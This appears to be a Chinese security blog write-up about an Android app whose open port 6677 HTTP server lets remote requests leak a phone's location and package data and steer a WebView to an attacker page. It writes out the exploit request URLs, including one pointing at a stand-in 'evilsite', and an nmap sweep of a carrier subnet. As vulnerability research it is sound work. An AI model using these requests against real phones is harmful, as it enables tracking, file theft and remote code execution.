远程命令执行:
[1]
.定位到某流行应用实现了一个小型的HTTP Server,在tcp的6677端口监听任意地址,当HTTP请求满足一定条件时可以返回敏感信息,并根据请求消息执行一系列动作。对于该HTTP请求,仅有的防御措施是通过referer白名单的方式判断HTTP请求的来源。在正确设置referer,发送如下HTTP GET请求后
http://ip:6677/command?param1=value1&...¶mn=valuen
可获取手机的敏感信息和实现命令执行。其中command为getpackageinfo、androidamap、geolocation中的其一,见如下代码片段。
(1)当command为geolocation时,可返回安装该应用手机地理位置信息;
(2)当command为getpackageinfo时,默认返回该应用自身的版本信息。此时若指定参数param1为packagename,即请求http://ip:6677/getpackageinfo?packagename=xxx时(xxx为软件包名)可返回手机上安装的xxx所指定的任意软件包版本信息。若xxx为android,可返回android系统版本信息;
(3)当command为androidamap时,设置Intent并将其广播出去,查看对应的OnReceive方法
发现需要指定参数param1为action,即请求
http://ip:6677/androidamap?action=yyy¶m2=value2&...¶mn=valuen
时,OnReceive方法取出前面广播intent对象的extra,新建一个intent对象,设置intent uri为
androidamap://yyy?sourceApplication=web¶m2=value2&...¶mn=valuen
并以隐式intent的形式启动注册这种uri scheme的activiy。
进一步搜索发现如下代码:
Uri v0_2 = Uri.parse("androidamap://openFeature?featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=" + this.a.m.privilegeLink); Intent v1 = new Intent(MovieDetailHeaderView.c(this.a).getApplicationContext(), NewMapActivity.class); v1.setData(v0_2); v1.setFlags(268435456); MovieDetailHeaderView.c(this.a).startActivity(v1);
表明可以通过远程HTTP GET请求如下地址
http://ip:6677/androidamap?action=openFeature&featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=evilsite
操纵安装该app的手机继承WebView的Activity访问evilsite,而且这里存在WebView的漏洞,利用方式包括
(1). 窃取私有目录下的敏感文件:远程攻击者或者本地恶意app可以令WebView加载file://域的恶意脚本文件,按照恶意脚本的请求,窃取该应用私有目录下的敏感文件,突破android沙箱限制;
(2). WebView远程命令执行:存在可被网页中js操纵的接口jsinterface。由于该流行应用针对的SDK版本较低(android:minSdkVersion="8"
),在Android 4.4.2以下的手机,均可使用该接口,通过js注入该应用进程执行命令。
对于Android app开放socket端口漏洞的远程利用场景,一般认为Android客户端都在内网,其利用主要还是在非安全的公共WiFi环境,通过对漏洞特征扫描即可利用。但在传统认为安全的移动互联网环境,笔者发现仍然可以扫描到其他开放端口的终端,因此也可以利用这种漏洞。
叙述之前,我们先对典型的移动通信网络架构进行简单的科普,一般教科书上的3G网络架构(WCDMA)如图。
包括以下组成部分:
(1) MSC/VLR:提供CS(电路交换)域的呼叫控制、移动性管理、鉴权和加密等功能;
(2) GMSC:网关移动交换中心,充当移动网和固定网之间的移动关口局,承担路由分析、网间接续、网间结算等重要功能;
(3) SGSN:GPRS服务支持节点,提供PS(分组交换)域的路由转发、移动性管理、会话管理、鉴权和加密等功能;
(4) GGSN:网关GPRS支持节点,提供数据包在WCDMA 移动网和外部数据网之间的路由和封装,GGSN就好象是可寻址WCDMA移动网络中所有用户IP 的路由器,需要同外部网络交换路由信息。
(5) HLR:归属位置寄存器,提供用户的签约信息存放、新业务支持、增强的鉴权等功能。
简而言之,移动通信网络无非是大型的“局域网“,它们通过网关路由器(SGSN和GGSN)连上了Internet,进入到了互联网的世界。但是在某些移动通信网络的内部,不同的UE是可以互访的。以前面某应用开放6677端口为例,我们可以做一个简单的实验进行证明。
使用联通3G网络,查看当前IP地址。
在相邻C段进行扫描,扫描到开放端口的手机
nmap -sT --open -p6677 10.160.112.0/24
发现如下结果
这证明在移动网络中,不同的UE可以互访。因此如果开放上述socket端口的app存在漏洞,在移动网络中也是可以利用的。
对于客户端的远程漏洞利用,从攻击者的角度来看,通常更容易使用“受”的方法,即通过欺骗、劫持或社工的方法来让客户端访问我的攻击载荷。然而,从笔者发现的漏洞案例来看,许多Android应用不正确地使用网络socket端口传入命令进行跨进程通信,而且对于本地应用环境,网络socket也先天缺乏细粒度的认证授权机制,因此把Android客户端当做服务器,使用“攻”的方法,主动向开放端口发送攻击载荷也是可行的。这种漏洞一旦存在,轻则本地提权,重则为远程利用的高危漏洞,3G移动网络允许UE互访更是加剧了这种风险。
此外,除PF_INET外,PF_UNIX、PF_NETLINK域的套接字也是值得关注的本地攻击面。
参考文献:[1] http://blog.trendmicro.com/trendlabs-security-intelligence/open-socket-poses-risks-to-android-security-model
上一篇